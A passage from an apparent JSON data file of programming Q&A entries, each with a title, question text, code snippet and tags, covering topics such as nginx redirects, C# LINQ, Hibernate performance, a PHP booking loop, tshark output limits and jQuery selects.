when I try to go to a folder, say, server.ip.address/folder, it will go to
localhost/folder.\nHow can I stop it from doing this? I have added
server_name_in_redirect off in the \"default\" file in sites-available.\
nConfiguration file:\n\n/etc/nginx/sites-available/default file:\n\n", "user www-
data;\nworker_processes 1;\n\nerror_log /var/log/nginx/error.log;\npid
/var/run/nginx.pid;\n\nevents {\n worker_connections 1024;\n # multi_accept
on;\n}\n\nhttp {\n include /etc/nginx/mime.types;\n\n access_log
/var/log/nginx/access.log;\n\n sendfile on;\n #tcp_nopush on;\n\n
#keepalive_timeout 0;\n keepalive_timeout 65;\n tcp_nodelay on;\n\n
gzip on;\n gzip_disable \"MSIE [1-6]\\.(?!.*SV1)\";\n\n include
/etc/nginx/conf.d/*.conf;\n
include /etc/nginx/sites-enabled/*;\n}\n\n#\n\nBlockquote\n\n mail {\n# #
See sample authentication script at:\n# #
http://wiki.nginx.org/NginxImapAuthenticateWithApachePhpScript\n# \n# #
auth_http localhost/auth.php;\n# # pop3_capabilities \"TOP\" \"USER\";\n# #
imap_capabilities \"IMAP4rev1\" \"UIDPLUS\";\n# \n# server {\n# listen
localhost:110;\n# protocol pop3;\n# proxy on;\n# }\n# \
n# server {\n# listen localhost:143;\n# protocol imap;\n#
proxy on;\n# }\n# }\n", "nginx redirect localhost"], "1689855": ["How to
modify an expression to pass it to a method", "The problem is:\n\nSo the question
is how correctly call the second method from the body of the first method, mapping
properties of different types - CampModel object to Camp object (they are similar
but different)\nHow can I transform so I could pass it to the ? Because I can't
pass it as is:\n\nCan I use something like
System.Linq.Expressions.ExpressionVisitor and modify the original expression? How
to do that?\n", "public GetAll(Expression<Func<CampModel, bool>> whereCondition)\
n{\n // and it should call another GetAllCampsFromRepo method that gets Camps
from a repository\n}\n\npublic IList<Camp>
GetAllCampsFromRepo(Expression<Func<Camp, bool>> whereCondition)\n{\n return //
Blah blah the list of Camps\n}\n", "c#-4.0 expression"], "1822328": ["There is no
DoubleClick event for ListView control in .NET CF 3.5", "In my project, tree is a
list of customers displayed in an ListView control, When user double clicks (or
taps) on an item I should show the details of that customer,\nBut there is no
double click (or click event, mouse up and down events etc.) event in .NET CF 3.5
ListView control (we only have ItemActive and SelectedIndexChanged events)\nIs
there anyone has figure out this problem?\n", "", ".net compact-framework"],
"2828622": ["How can I get the highest number in this Linq result?", "\nBasically,
player and computer combos have a keypair values of each number that appears and
how many times it appears.\nHere's the pickle. I need to grab the number that
appears the most from both collections. If there are for example, two pairs (1,1
and 2,2) appearing in the computerCombos collection, I need to grab the combo with
the highest number.\nExample:\n\nI need to get:\n\nNotice how I didn't display 1,
because 7 is of higher value.\nHere my attempt, but it's not working as expected.
It fetches whatever the .First method gives.\np\n\nThanks!\n", "private static void
VerifyWinner(int[] PlayerRolls, int[] ComputerRolls)\n{\n var playerCombos =
from number in PlayerRolls\n group number by number into n\n
where n.Count() > 1\n select new { n.Key, Count =
n.Count() };\n\n var computerCombos = from number in ComputerRolls\n
group number by number into n\n where n.Count() > 1\n
select new { n.Key, Count = n.Count() };\n}\n", "c# linq"], "3586773": ["How To
Cancel Pending Windows 7 Updates", "How To Cancel Pending Windows 7 Updates? The
key is pending.\nThe shutdown button has the windows update symbol meaning that
there are updates that were selected to be installed which were download and will
be installed upon shutdown.\nThe only thing is that my machine will no longer boot
if I let it install those updates! They are incompatible with a driver needed in
the system and I did not found out until too late. The system admin used a recovery
disk to get back to the previous restore point, only the updates are now pending,
so I need to cancel those before the machine shutdowns next.\n", "", "windows-7
updates"], "5950575": ["Cocos2D addChild behaviour", "I'm confused with the
addChild: behavior in Cocos2D, because of the following:\nI have a CCNode subclass
that owns a CCSprite and a Box2DBody.\nIm the -init method of this subclass, i add
the sprite to a CCSpriteBatchNode of the main GameScene, like this:\n\nIn the main
GameScene i do:\nBall *ball = [Ball ballInWorld...] \nIf i do [self addChild:ball],
the physics works as expected, but if i don't, the ballSprite gets stuck at (0,
0)..why is that? The batch is already added to the GameScene, and the ballSprite is
already added to the batch, this extra addChild seems weird to me!\nThanks!\n",
"//Ball class, CCNode subclass with a CCSprite and a b2Body\n-(id)initBallInWorld:
(b2World *)word spriteFile:(NSString *)file\n{\n //self = [super init] blablabla\
n CCSpriteBatchNode *batch = [GameScene getSpriteBatch]; //singleton\n\n
//create Box2dBody inside the world\n //create a CCSprite\n [batch
addChild:sprite]; //Here is the confusion!\n}\n", "cocos2d addchild"], "3132996":
["Android a button for creating a bitmap", "Good afternoon ,\nI have a button, and
I want when I click on it the canvas inserts a image I've made /res/xhdpi/frame.png
and when the image comes it gets on the top of the already inserted image\nexample,
I chose an image from the gallery then the image appears in the imageView and below
it there is a button .. I want when I click on this button another image which is a
frame to be placed over the chosen image.. thanks\n", "", "android canvas bitmap
imageview frame"], "2148245": ["Hibernate queries slow down drastically after an
entity is loaded in the session", "I'm using Hibernate EntityManager, and am
experiencing a weird slowdown in my Hibernate queries. Take a look at this code:\n\
nThis runs in about 750ms on my machine. Not blazing fast considering it's just
selecting a constant integer, but acceptable. My problem arises the moment ANY
entities are loaded in my EntityManager session before I launch my query:\n\nThe
em.find() is fast, but the runtime 1000 queries increased more than ten-fold, to
about 10 seconds. If I put an after the , the problem goes away again and runtime
goes back to 750ms. \nI've used a native query here, but the problem exists with
HQL queries as well. It seems ALL queries take at least 70ms whenever an entity is
in the EntityManager session.\nThis performance drop is really hurting us when
generating lists where n+1 queries are needed.\nI've tested the latest Hibernate
3.5 beta, and have the exact same problem. Has anyone seen this problem, or any
ideas on how to fix it?\nI'm using PostgreSQL 8.3, using resource local
transactions (running in Tomcat). Using the built-in connection pool, but using
C3P0 made no difference.\n", "public void testQuerySpeed() {\n for(int i = 0; i
< 1000; i++) {\n em.createNativeQuery(\"SELECT 1\").getResultList();\n }\
n}\n", "hibernate hql"], "3520550": ["Add field to bibliography style", "I have
generated a style using . It works perfectly, except that I want to add a
'collaboration' field to my entries, to be shown in parenthesis imediately after
the authors. There wasn't an option to do that when building the file, how would I
edit the .bst to get this effect?\nNote: I am not using biblatex, I am using latex
and bibtex.\n", "latex makebst", "bibtex"], "2769066": ["distributed logging text
files", "I have generated a couple of logs across different machines. Each log
representing an action performed by user. The log is a text file generated in php
by appending using file_put_contents . A line in the log represent action performed
by user, time etc. There are many logs like this for each and every user action.
Now I want to make a user profile which contain what all actions he did by going
through these logs in ascending order of time. How do I do this?\nAlso I am
planning to store these user profile in a MYSQL db. We have a large data of over
50GB of text from which I have to make these profiles. Is this ok?\nIs there any
tool that let me get business intelligence from these logs. (Suppose if i want to
see how many users did a specific action today etc).\n", "", "mysql php logging"],
"4233103": ["Webmin: Failed to create virtual server: X is not a valid address", "I
have webmin on a Ubuntu 10.04, only just installed but up to date, trying to create
new virtual hosts for sites and it is coming back and saying \n\nI have tried
'disruptech.co.uk' and same, I just wondered what could cause this error, e.g.
permissions or something.\nAll help appreciated!\n", "Failed to create virtual
server : 'www.disruptech.co.uk' is not a valid address\n", "ubuntu-10.04
virtualhost webmin"], "2381298": ["Dynamically change DataGrid column cell
datatemplate", "I am trying to change DataGrids columns cell datatemplate as on
this sample.\nMy grid looks like this \n\nalso I have a button, which is changing
datatemplate on click event \n\nThe problem is that after this cell template is
not changing on UI. But if I'm removing and doubleclicking to cell, it is
changing data template.\nHow to change cell data template of datagrid?\nThanks\n",
"<sdk:DataGrid AutoGenerateColumns=\"False\" Name=\"dataGrid1\"
IsReadOnly=\"True\">\n <sdk:DataGrid.Columns>\n
<sdk:DataGridTemplateColumn Header=\"A1\" CellTemplate=\"{StaticResource Key1}\"
/>\n\n </sdk:DataGrid.Columns>\n </sdk:DataGrid>\n", "silverlight xaml
datatemplate silverlight-toolkit silverlight-datagrid"], "3253325": ["Converting
Integer to ObservableValue<Integer> in javafx", "How to convert Integer To
ObservableValue< Integer > in javafx 2.0 and later ??\n", "", "javafx-2"],
"3461792": ["A process command in top", "The problem comes up when you run couple
of python scripts. in top at command, it shows only 'python' with these scripts.
How to rename a process or otherwise tag it so that I could tell them apart in
top?\n", "", "linux bash processes utilities top-command"], "655479": ["failing
over a http proxy but NOT load balancing", "We are wanting to have a
primary \"test\" http proxy that we are doing
some unique stuff with. We want this proxy to be the primary so using WPAD we
would want to deliver this as the primary to always use and the other one as the
secondary(two hostnames). Will this work or will browsers randomly choose one of
the two and load balance.\nI thought of maybe returning one DNS entry and then
putting two ips in that DNS and having the order sent back to browsers always being
the same which would work but I heard sometimes firefox keeps trying to use the
failed entry in DNS on every request where IE actually switches and keeps using
secondary from then on.(I guess I could try one step further of hearbeating to the
1st proxy and changing the DNS entry....yuck on work I didn't want to have to do
though).\nany way to do this with just WPAD?\n", "", "proxy http-proxy"], "598946":
["Using Javascript to 'sum selected cells' in IE6", "In excel it is possible to
highlight a range of cells and view the 'sum' in the 'status bar'.\nCan this be
done in IE6 using Javascript and a HTML table ?\n", "", "javascript html internet-
explorer-6"], "875047": ["How to scroll TDBGrid using TScrollBar?", "In Delphi XE3,
I have one TDBGrid and one TScrollBar in my form.\nI want to use the TScrollBar to
scroll the TDBGrid up and down.\nAnybody know how?\nI have this code so far but I
doesn't seems working. (scr is TScrollBar amd dbgrd is TDBGrid)\n\n", "var\n x:
tagscrollinfo;\n\nprocedure scb.scbChange(Sender: TObject);\nbegin\n FillChar(x,
SizeOF(x), 0);\n x.cbSize := SizeOf(x);\n x.fMask := SIF_ALL or SIF_PAGE or
SIF_POS; \n GetScrollInfo(scb.Handle, SB_VERT, x); \n
SetScrollInfo(dbgrd.Handle, SB_VERT, x, True);\nend;\n", "delphi scrolling delphi-
xe3 scrollbars tdbgrid"], "4419280": ["Is an AssetURL guaranteed to be unique on a
device?", "Currently with iCloud, it is possible for a user with iTunes Match to
swipe to delete a track, or download a new track from iCloud.\nIs it guaranteed
that the AssetURL of a track will not be used again on the same device?\nI ask as
im creating my own cache of the library meta data. When I detect a change to the
library, rather than rebuilding my entire cache, id like to be able to just detect
removed tracks and newly added ones, and update my cache accordingly.\n", "",
"objective-c ios monotouch icloud"], "5130767": ["Rails 3.2 Asset Pipeline with
Thin and Apache, not finding assets", "My question is similar to this one Rails 3.2
Asset Pipeline with Passenger Endless Errors except that when I try to actually go
to \n\nI get a 404. Here's the thing I don't understand. It is looking in /assets/,
but when I look at the code that was deployed, the assets are only in
/public/assets, which is actually a symlink to /var/www/myapp/shared/assets. So
what in the world is responsible for telling the app that looking in /assets will
produce correct results??\nI am using Rails 3.2.0, ruby-1.9.3-p125, deploying to
Ubuntu, Apache, and Thin.\nI should clarify: My assets are indeed deployed to the
server. Everything works perfectly fine until they need to be served, in which case
production.log tells me it's looking for them in /assets/application-
eed7996ee9017637f923133371ab3e92.css, which 404's. \nFor every request my thin.log
says\n\nand production.log says\n\nUPDATE\n@Brandan thanks for the help. My assets
are indeed in . I put this in my Apache vhost file:\n\nMy
RAILS_ROOT/config/environments/production.rb settings:\n\n", "<link
href=\"/assets/application-eed7996ee9017637f923133371ab3e92.css\" media=\"all\"
rel=\"stylesheet\" type=\"text/css\" />\n", "ruby-on-rails ruby-on-rails-3 apache
assets thin"], "3520557": ["Remap altgr key to AC10 in XKB", "I'd like to remap the
altgr key to AC10 key.\nSo far, i edited as follows:\n\nAfter\n\nIs there a way to
achieve this mapping? I'd like to use as . and will be mapped on some other
keys.\nI achieved this behavior in \n\nand wonder if it's possible in too.\n",
"/usr/share/X11/xkb/symbols/us", "keyboard keyboard-layout xkb key-mapping
setxkbmap"], "3502296": ["Stange Behavior of the Serial Port Input Buffer", "Using
a virtual serial port w/usbser.sys as driver; I get some strange behavior of the
buffers. I use Win32 calls (CreateFile, ReadFile, etc) rather than the SerialPort
class in .NET for performance reasons. \nAfter opening the COM port, I use
SetupComm(hFile, dwInQueue, dwOutQueue) to set the input buffer to 32768. I've
tried with other sizes, eg. 4096, 8192, etc. \nThen I read the buffer size back
with GetCommProperties(hFile, lpCommProp) and read the COMMPROP.dwCurrentRxQueue to
check if the size has been set. But whatever size I try to set, the
dwCurrentRxQueue always returns 16384!\nWhy?\nI've got a System.Timers.Timer that
kicks in every 10ms and calls ReadFile(...) and then does something with the bytes.
When the timer is suspended (eg. by calling Thread.Sleep for 5 secs) the buffer of
the virtual serial port logically fills up. After sleeping, I check the number of
bytes in the buffer using ClearCommError(...), reading cbInqueue of COMSTAT. \
nSince the dwCurrentRxQueue apparently is 16384, you'd expect the buffer to be
packed with 16K of data after a 5 sec sleep. But the buffer never contains more
than ~12K of data, even after sleeping for 10-20-30 secs! \nWhy?\nHere's an excerpt
of the code:\n\nMethod and structure signatures have been fetched from pinvoke.net\
n", "_handle = CreateFile(portName, GENERIC_READ | GENERIC_WRITE, 0, IntPtr.Zero,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);\n\nSetupComm(_handle, 32768,
32768)\n\n// ... other calls (SetCommState, SetCommConfig, SetCommTimeouts)\n\nvar
commprop = new COMMPROP();\n\nGetCommProperties(_handle, ref commprop)\n\n//
commprop.dwCurrentRxQueue always returns 16384\n\
nSystem.Threading.Thread.Sleep(5000);\n\nCOMSTAT comstat;\nuint errors;\n\
nClearCommError(_handle, out errors, out comstat);\n\n// comstat.cbInQueue never
contains more than ~12 KBytes :s\n", "c# .net c#-4.0 .net-4.0 serial-port"],
"2769065": ["How to spawn multiple python scripts from a python program?", "Hi\nI
want to spawn (fork?) multiple Python scripts from my program (written in Python
too)\nMy problem is that I want to dedicate one terminal to each script , because
I'll gather their output using pexpect.\nI've tried using pexpect, os.execlp and
os.forkpty but neither of them do as I expect.\nI want to spawn the child processes
and forget about them (they will process on some data, write the output to terminal
which I could read with pexpect and then exit)\nIs there any library/best
practice/etc to do this job ?\n(and before you ask why I would write to STDOUT and
read from it, I shall say that I don't write to STDOUT, I read the output of
tshark)\nThanks\n", "", "python pexpect"], "5816760": ["Wrong protrusion with
csquotes and microtype", "I\u2019m experiencing problems using the package and
using protrusion (margin kerning). The problem is that using I only get margin
kerning on the left margin.\n\nThe first text uses manually set quotation marks
which give margin kerning both left and right.\nThe second and third text snipped
only protrude on the left margin.\nAny ideas why I have this problem and how I can
possibly solve it?\n", "csquotes", "margins punctuation microtype csquotes
protrusion"], "5488781": ["C# extension methods not working as expected - see
example", "I'm wondering about the behavior of extension methods in C#. Please see
the examples below:\n\nWhy is (in the last case) the object's extension method
called and not the one for int[]? \n", "static string ExtendedToString( this object
oObj )\n{\n return \"Object\";\n}\n\nstatic string ExtendedToString( this Array
oArray )\n{\n return \"Array\";\n}\n\n// Example 1: int array - working as
expected.\nint[] o = new int[] { 1, 2, 3 };\no.ExtendedToString( ); //
returns \"Array\"\n\n// Example 2: array as object - did not expect the result.\
nobject o = new int[] { 1, 2, 3 };\no.ExtendedToString( ); // returns \"Object\"\
n", "c# .net extension-methods"], "3392856": ["Lucene.net intermitantly indexed
documents not appearing in the", "I've got an issue which shows up intermitantly in
my unit tests and I can't work out why.\nThe unit test itself is adding multiple
documents to an index, then trying to query the index to get the documents back out
again.\nSo 95% of the time it works without any problems. Then the other 5% of the
time it cannot retrieve the documents back out of the index.\nMy unit test code is
as follows:\n\nI won't post the full code from my LuceneHelper, but the basic idea
of it is that it holds an IndexSearcher in reference which is closed every time an
item is written to the index (so it can be re-opened again with all the of the
latest documents).\nThe actual unit test will often fail when gathering the second
document. I assumed it was to do with the searcher not being closed and seeing
cached data, however this isn't the case.\nDoes Lucene have any delay in adding
documents to the index? I assumed that once it had added the document to the index
it was available immediately as long as you closed any old search indexers and
opened a new one.\nAny ideas?\n", "[Test]\n public void
InsertMultipleDocuments()\n {\n string indexPath = null;\n using
(LuceneHelper target = GetLuceneHelper(ref indexPath))\n {\n
target.InsertOrUpdate(\n
target.MakeDocument(GetDefaultSearchDocument()), \n
target.MakeDocument(GetSecondSearchDocument()));\n\n var doc =
target.GetDocument(_documentID.ToString()).FirstOrDefault();\n
Assert.IsNotNull(doc);\n Assert.AreEqual(doc.DocumentID,
_documentID.ToString());\n\n doc =
target.GetDocument(_document2ID.ToString()).FirstOrDefault();\n
Assert.IsNotNull(doc);\n Assert.AreEqual(doc.DocumentID,
_document2ID.ToString());\n }\n\n
TidyUpTempFolder(indexPath);\n }\n", "c# indexing lucene.net"], "1187164":
["Can Sublimetext2 execude ruby code and show the results within the document like
Textmate?", "Textmate allows to run code within the document and show the results
irb-style:\n\nRun the code (and I don't remember the shortcut)\n\nThe behavior is
triggered by adding a comment of the format:\n\nimmediately after a ruby expression
and then using the magic shortcut.\nMy question is, 1, what is the Textmate
shortcut and the 2, is there a way to achieve the same functionality in
SublimeText2?\nEDIT: The TextMate shortcut is Ctrl+Shift+Apple+E (Execute and
update \"#=>\" markers).\n", "1+1 # =>\n", "ruby textmate sublimetext2 execution"],
"4790660": ["Change in AndroidManifest.xml", "it is possible to run time change in
AndroidManifest.xml,if it is possible then i have to change the\n\
nandroid:configChanges=\"orientation|keyboardHidden\".\n\n", "", "android android-
manifest"], "2777514": ["Convert number larger than 5", "I want convert number
larger than 5 become 1-5 again, ex:\n\nso if I enter number 6-9 to my function, it
will converted to above explanation.\n\n", "6 become 1\n7 become 2\n8 become 3\n9
become 4\n", "php numbers"], "2148247": ["PHP Normalization, How to create the
appropiate loop?", "I try to break my table booking into 3 tables to enable
normalization.\nWell, I encounter problem when I try to generate 1 bookingID for
multiple booking.\nI am confuse with looping.\nScenario: customer reserved 2
booths, A01 and A02, (A01 booked from day 1 to day 3, while A02 booked from day 1
to day 2).\n\nSystem will process the booking, it should generate 2 bookingIDs for
A01 and A02, and generate bookingScheduleID for A01_D1, A01_D2, A01_D3 (carry
bookingID A01) and A02_D1, A02_D2 (Carry bookingID A02).What should I do to loop
and get the following result?\n\nMy coding\n\n", "<?php\n\ninclude('db.php');\n\n//
check array and insert parrentBookingID\n\n// check submitted totalDay\nif
(isset($_POST['submit']) && isset($_POST['totalDay'])) {\n\n //check day exist
or not\n $cDay=$_POST['totalDay'];\n\n for ($i=1; $i<=sizeof($cDay); $i++)
{ //check array size \n $temp=0;\n\n foreach ($cDay as $dy) {\n
$checkDay = $dy;\n $checkDay = explode(\" \", $checkDay);\n
echo $checkDay[0]; // boothAlias\n echo $checkDay[1]; // boothID\n
echo $checkDay[2]; // day\n\n $checkDayResult = mysql_query(\n
\"SELECT * FROM bookingDetail WHERE boothID='$checkDay[1]' \n and
day='$checkDay[2]' and username='$user'\"\n );\n\n
$num_rows_check = mysql_num_rows($checkDayResult);\n if
($num_rows_check) {\n echo \"Exist\";\n $temp += 1;\n
} else {\n $temp += 0;\n }\n }\n } //FOR LOOP
CHECK ARRAY SIZE\n\n echo \"temp\".$temp;\n if ($temp != 0) {\n
echo \"Please try again\";\n } else {\n // insert parentBookingID\n
$parent = mysql_query(\n \"INSERT into booking (custNo,eventID,dateBook)
\n VALUES ('$userID','$event',NOW())\"\n );\n
$parentBookID = mysql_insert_id();\n\n // End check array and insert
parrentBookingID\n // check booth, create bookingDetailID\n\n $booth
= $_POST['totalDay'];\n\n //for loop check array size for check repeat
booth.\n for ($j=1; $j <= sizeof($booth); $j++) { \n $current =
explode (\" \", $booth);\n } // end for loop check repeat loop.\n\
n // end check booth.\n\n $totalDay = $_POST['totalDay'];\n
$allBooth = \"\";\n\n foreach ($totalDay as $d) { \n echo $d;\n\n
$bookingInfo = $d;\n $bookingInfo = explode(\" \", $bookingInfo);\n
echo $bookingInfo[0]; // boothAlias\n echo $bookingInfo[1]; // boothID\n
echo $bookingInfo[2]; // day \n\n $result = mysql_query(\n
\"SELECT * FROM bookingDetail WHERE\n boothID='$bookingInfo[1]' and
day='$bookingInfo[2]' \n and username='$user'\"\n );\n\n
$num_rows = mysql_num_rows($result);\n\n if ($num_rows) {\n
echo \"Exist\";\n } else { \n $str = \"INSERT INTO
bookingDetail \n (username, custNo, eventID, date, day,\n
boothAlias, boothID, parentBookID) VALUES ('$user',\n
'$userID','$event',NOW(),'$bookingInfo[2]',\n
'$bookingInfo[0]','$bookingInfo[1]','$parentBookID');\";\n\n $res =
mysql_query($str);\n if ($res) {\n echo
'Success';\n } else {\n echo 'Failure';\n
}\n\n $allBooth = substr($allBooth, 0, -2); \n
echo \"<p>Booth(s): <strong>$allBooth</strong>&nbsp;\n
<strong>$user</strong>&nbsp;<strong>$event</strong>\n
<strong>$userID</strong></p>\\r\\n\";\n }\n }\n } // close
check $temp\n\n header(\"refresh:5;url=mybooking.php\");\n echo \"<img
src='loading16.gif' style='margin-top:8px; float:left'/>\";\n echo 'You\\'ll be
redirected in about 5 secs. If not, click \n <a
href=\"mybooking.php\">here</a>.'; \n} else { \n echo \"You do not make
any booking\";\n header(\"refresh:5;url=booking2.php\");\n echo \"<img
src='loading16.gif' style='margin-top:8px; float:left'/>\";\n echo 'You\\'ll be
redirected in about 5 secs. If not, click \n <a
href=\"booking2.php\">here</a>.'; \n}\n", "php mysql foreach sizeof explode"],
"4118044": ["Adding Custom Controls to a WordPress Plugin", "I've been Googling
around for a free WordPress \"testimonials\" plugin that includes a cycling feature
with the option to add next-previous arrows to it, instead of having it auto-
rotate, like so:\n\nI eventually found this one, which gave me everything I wanted
except that particular feature. I eventually decided to try and figure out how to
add my own navigation.\nNow, I understand that requires adding/changing the
Jquery / Javascript to make sure the buttons function correctly, and if I'm correct
(correct me if I'm wrong), I should add the necessary code to the bottom of my
footer.php.\nNow, here's the question: what is the easiest way to implement a
simple navigation to my widget's HTML? My widget currently looks like this:\n\nI'd
like to simply add two html links (later replaced with images or CSS shapes that
look like the arrows in the ideal widget) next to the Testimonials header.\nOn a
side note, is this more manageable and plausible with CSS shapes, or should I use a
pair of images instead?\nThanks a ton!\n", "", "javascript jquery html wordpress
wordpress-plugin"], "2807568": ["Enterprise Architect Synchronize with Code", "I am
learning EA. I did reserve engineering with my java code and generated some class
diagrams. Then I changed my code and copy over to EA project (delete the original
source code which EA used and put the modified in). Then use Code Engineering ->
Synchroize Package with Code to update EA with the modified code, the new reference
added was shown up in one of the class diagrams but the old reference which was
removed in the updated code was still in one of the class diagrams. \nAnd also the
new files added were not shown up in the EA project. I tried reimport source before
but my diagrams were lost then.\nI tried Synchronize with Code in different level
(places) and even modified code locally with View Source Code feature but still the
same. \nIs there any options I need to set up for this?\nThe EA version is
8.0.860.\n", "", "java uml enterprise-architect tool-uml"], "4776933": ["How can I
save a Word document back to the main server from an ASP.NET intranet?", "I have a
ASP.NET intranet application that has a document library section. The user can
click on a link to a MS-Word document that resides on the server and can then edit
the document if required within the browser (IE).\nThe problem is that when they
come to save their changes it needs to write it back to the server but instead
wants to save it on their local system.\nAny ideas how I can get it to save back to
the main server ?\nThanks in advance.\n", "", "asp.net ms-word"], "1876310":
["What's the best way to change the namespace of a highly referenced class?", "I am
attempting to move a highly referenced class from one namespace to another. Simply
moving the file into the new project which has a different root namespace results
in over 1100 errors throughout my solution.\nSome references to the class involve
fully qualified namescape referencing and others involve the importing of the
namespace.\nI have tried using a refactoring tool (Refactor Pro) to rename the
namespace, in the hope all references to the class would change, but this resulted
in the aforementioned problem.\nAnyone have ideas of how to tackle this challenge
without needing to drill into every file manually and changing the fully qualified
namespace or importing the new one if it doesn't exist already?\nThanks.\n", "",
"vb.net visual-studio-2008 namespaces"], "3465141": ["Assigned \"Selected\" using a
custom attribute", "I have a very simple select with a custom options attribute:\n\
nIf I am passed a variable based on 'value', I can easily make the corresponding
option \"Selected\" by thus:\n\nBut if I am passed a var based on the 'desc' attr,
like so: \n\nHow do I make the selection? I have tried endless combinations like:\
n\nor\n\nand also tried using the filter option with no success.\nVery frustrating
as I know this is a simple problem.\n", " <select name='beverage'
id='beverage'>\n <option value='0' desc='Tea'>Tea</option>\n
<option value='1' desc='Coffee'>Coffee</option>\n <option value='2'
desc= \u2018Lemonade'>Lemonade</option>\n </select>\n", "jquery select"],
"1545463": ["subclassing beautifulsoup html parser, getting type error", "I wrote a
little wrapper using beautifulsoup great html parser\nrecently I tried to improve
the code and make all beautifulsoup methods available directly in the wrapper class
(instead of through a class property ) and I thought subclassing the beautifulsoup
parser would be the best way to achieve this.\nHere is the the class:\n\nthis way I
can just initiate the class with \n\nand be able to traverse the tree with x.elem
or x.find\nthis works wonderfull with some beautifulsoup methods (see above) but
fails with others - those using iterator like \"for e in x:\"\nthe error message:\
n\nI researched the error message but couldn't find anything I could work with -
becasue I don't want to play with the inner implantation of BeautifulSoup (and
honestly I don't know or understand or ..) I just want to use the functionality.\
ninstead of subclassing I tried returning a beautifulsoup object from the of the
class but method returns \nBe glad for any help here.\n", "class
ScrapeInputError(Exception):pass\nfrom BeautifulSoup import BeautifulSoup\n\nclass
Scrape(BeautifulSoup):\n \"\"\"base class to be subclassed\n basically a
subclassed BeautifulSoup wrapper that providers\n basic url fetching with
urllib2\n and the basic html parsing with beautifulsoup\n and some basic
cleaning of head,scripts etc'\"\"\"\n\n def __init__(self,file):\n
self._file = file\n #very basic input validation\n import re\n
if not re.search(r\"^http://\",self._file):\n raise
ScrapeInputError,\"please enter a url that starts with http://\"\n\n import
urllib2\n #from BeautifulSoup import BeautifulSoup\n self._page =
urllib2.urlopen(self._file) #fetching the page\n
BeautifulSoup.__init__(self,self._page)\n #self._soup =
BeautifulSoup(self._page) #calling the html parser\n", "python beautifulsoup"],
"5927958": ["debugging of OCX through Delphi", "Hello I am having one delphi
application which have the output file extension ABC.ocx. Now this ABC.ocx is used
to copy some data from server machine to local machine. This ABC.ocx is called from
another application/dll. Is there any way to debug this? How can i set the
breakpoint in delphi when I click on another application/dll which executes
ABC.ocx. thanks. \n", "", "delphi debugging ocx"], "5887105": ["Have I reached a
hard-coded limit of tshark?", "I am using tshark to dump bittorrent.piece.data and
appear to have hit some internal limit within tshark.\n\nThis should dump the piece
data (32Kbyte pieces) as colon separated bytes in hex without leading 0x so for
example: \n 7f:00:ab:cd.... and so on for 32Kbytes. \nOne piece is written to
the stdout per line which I am simply redirecting to a file, but the piece data is
truncated somehow to a line length of 65540, where I am expecting 90-100KBytes per
line/piece, given the 3 characters-per-byte required by the output format chosen by
tshark (7f: == 1 byte) \nRunning with strace I can see that tshark is writing 4096
bytes and then 61444 for each piece. \nI don't know if this is a hard-wired
limitation of tshark with regard to outputing fields of a protocol read from a pcap
file, or whether my Linux configuration is limiting this at a lower-level. I
strongly expect it is the former but would welcome advice. \nDo I need to patch
wireshark/tshark code or is there command-line or configuration option I am
missing? \nNote: I can successfully dump 32768 KBytes payload data from the GUI
wireshark tool so the data is definitely in the pcap file. But I am keen to
automate this process and need tshark to give me all the bytes... \n", "tshark -r
2-live.pcap -R \"bittorrent.piece.data and ip.dst_host == 192.168.3.14\" -T fields
bittorrent.piece.data > dumped\n", "file bittorrent wireshark"], "2390858":
["Update Statistics Strategy after Index Maintenance Activity", "Since Index
Rebuilds will update statistics data for the concerned indexes with full scan, so
it is not advisable to update statistics on those indexes using the Update
Statistics with default sample size. This will worsen the statistics data captured.
In that case, when we are doing a statistics update operation on all the tables in
the database, is it a correct strategy to eliminate those indexes from the update
process for which the indexes are already up to date(based on the assumption that
we are running the Index rebuilds before the statistics update). For example, lets
say that I am using the following cursor to get a list of all indexes in the DB for
which update is required: \n\nand use the following condition to check if we need
to update statistics:\n\nBut this will update statistics for all the indexes
irrespective of whether an index already has its statistics updated due to a
rebuild.\nNow assuming that we are running the Index Rebuild task and the
statistics update task on the same day and in that order, can we use the following
filter to eliminate the indexes which has already been rebuilt:\n\nIf this not a
correct/optimal way to achieve this, can you please suggest a standard way to get
this done.\n", " SET @index_names = CURSOR LOCAL FAST_FORWARD READ_ONLY\nFOR\n
SELECT NAME ,indid ,rowmodctr\n FROM sys.sysindexes\n WHERE id =
@table_id\n AND indid > 0\n ORDER BY indid\n", "maintenance index"],
"278339": ["Why isn't 4GB of memory with a 32-bit OS equal to 2GB in a 64-bit OS?",
"As I understand, \"32 bit\" is equal to 2^32, which means I can define 4GB of
memory with a 32-bit OS. And \"64 bit\" is 2^64, which allows 15EB . So, with a
64-bit OS we can put more memory in the computer.\nBut, I am confused on another
point.\nWe can see in the 32-bit case where we have (say) 4GB of physical memory in
the system and we divide that 4GB by the size of a 32-bit Integer, we can store
some number of integers (call it N) in memory.\nAnd, in 64-bit, the calculation is
4GB divided by the size of a 64-bit Integer, so we can only store half as many
integers. As result, with 64-bit, we can't store as many integers with the same
memory.\nDoes this mean that Microsoft cheats us by displaying this memory
as \"4GB\" in both the 32-bit and 64-bit version of the OS?\n", "", "architecture
computer-vision 32bit-64bit computer-architecture"], "1267481": ["not able to load
a view when I disable javascript rails 3", "Here is my controller code:-\n\nI have
got a partial by the name of _image_test.html.erb and and a simple view
image_test.html.erb\nIn my routes I have done this:- \n\nIt works fine when the
javascript is enabled in the borwser however when I disable the javascript I want
it to redirect me to my image_test.html.erb file. Instead I get a no route match
error.\nPlease help me with this.\nThanks,\n", "def image_test\n respond_to do |
format|\n format.js {render :layout => false}\n format.html
{redirect_to image_test_path}\n end\nend\n", "ruby-on-rails-3 route"],
"5207199": ["error messages not displaying in custom form template in drupal 6?",
"I did this using below function in template.php\n\nAnd added nsa-create.tpl.php
with the below lines of code\n\nits rendered properly but error/validation messages
are not displayed and no red border for invalid fields. \n", "function
mytheme_theme() {\n return array(\n 'nsa_create_form' => array(\n
'arguments' => array('form' => NULL),\n 'template' => 'nsa-create',\
n ),\n );\n}\n", "drupal drupal-6 drupal-modules drupal-theming"],
"910430": ["Close ColorBox iFrame after submit", "I'm using jQuery to display a
shopping cart item. When a user enters the quantity in the iFrame (opened with
colorbox) and clicks on the submit button, I want the iFrame to be close and main
window (parent) to be refreshed automatically.\nI mean I want two things after
submitting data on iFrame: \n\niFrame closes automatically.\nParent window getting
refresh automatically.\n\nPlease help me out.\n", "ColorBox", "jquery iframe
